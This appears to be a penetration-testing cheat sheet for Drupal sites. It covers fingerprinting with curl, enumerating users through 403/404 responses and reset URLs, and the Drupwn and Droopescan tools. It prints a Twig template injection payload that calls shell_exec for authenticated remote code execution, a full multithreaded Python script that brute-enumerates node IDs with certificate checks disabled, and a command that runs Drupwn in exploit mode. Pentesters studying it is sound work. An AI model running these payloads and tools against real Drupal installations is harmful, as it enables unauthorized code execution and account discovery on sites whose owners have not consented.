Manual Drupal Security Checks and Exploits

Basic Information Gathering

Check Meta Information

Identify if a website is running Drupal:

curl https://www.drupal.org/ | grep 'content="Drupal'

Enumerate Users

Check if a user exists:

  • A 403 Forbidden response indicates the user exists.
  • A 404 Not Found response indicates the user does not exist.
curl https://www.drupal.org/user/X

Get the username associated with a user ID:

curl https://www.drupal.org/reset/user/X/1/1

Exploits

Drupal < 8.7.x Authenticated RCE Module Upload

Drupal < 9.1.x Authenticated RCE via Twig Templates

  • Reference: Drupal Issue 2860607
  • Exploit Steps:
    • “Administer views” new View of User Fields Add a “Custom text”:
"{{ {"#lazy_builder": ["shell_exec", ["touch /tmp/hellofromviews"]]} }}"

Drupal 8 Exploit

Node Enumeration

If /node/$NUMBER is found, it could indicate developer or test pages.

Username Disclosure

Older Drupal versions might disclose usernames:

?q=admin/views/ajax/autocomplete/user/a

Tools for Drupal Enumeration and Exploitation

Enumerate nodes - Get URLs

https://raw.githubusercontent.com/D0ntTrustMe/drupal-enum/refs/heads/main/DRUPAL_get_urls.py

#!/usr/bin/python3
# coding:utf8
 
import argparse
import requests
import urllib3  
from concurrent.futures import ThreadPoolExecutor, as_completed
 
urllib3.disable_warnings()
 
def fetch_url(url):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36"
    }
    try:
        response = requests.get(url, headers=headers, verify=False, allow_redirects=False)
        if response.status_code == 301:
             return response.headers.get("Location")
        else:
             return None
    except requests.exceptions.ConnectionError as e:
            print(f"Error: {e}")
 
def main(url_target):
    DRUPAL_URL = f"{url_target}/node/"
    ids = range(1, 1001)
    urls = [f"{DRUPAL_URL}{id}" for id in ids]
    with ThreadPoolExecutor(max_workers=50) as executor:
        future_to_url = {executor.submit(fetch_url, url): url for url in urls}
        for future in as_completed(future_to_url):
            url = future_to_url[future]
            try:
                location = future.result()
                if location is not None:
                     print(f"{location}")
            except Exception as exc:
                 print(f"Error: {exc}")
 
def parseArgs():
    parser = argparse.ArgumentParser(description="Drupal - Get All URLs")
    parser.add_argument("-u", "--url", required=True, help="Drupal URL")
    return parser.parse_args()
 
if __name__ == '__main__':
    options = parseArgs()
    main(options.url)

Drupwn

Drupwn is a tool for enumerating and exploiting Drupal installations.

Installation

git clone https://github.com/immunIT/drupwn.git
cd drupwn
pip3 install -r requirements.txt

Enumeration

drupwn --mode enum --target $url

Exploitation

drupwn --mode exploit --target $url

Droopescan

Droopescan is a plugin-based scanner that helps security researchers identify issues with several CMSs, including Drupal.

Installation

apt-get install python-pip
pip install droopescan

Scanning

droopescan scan drupal -u example.org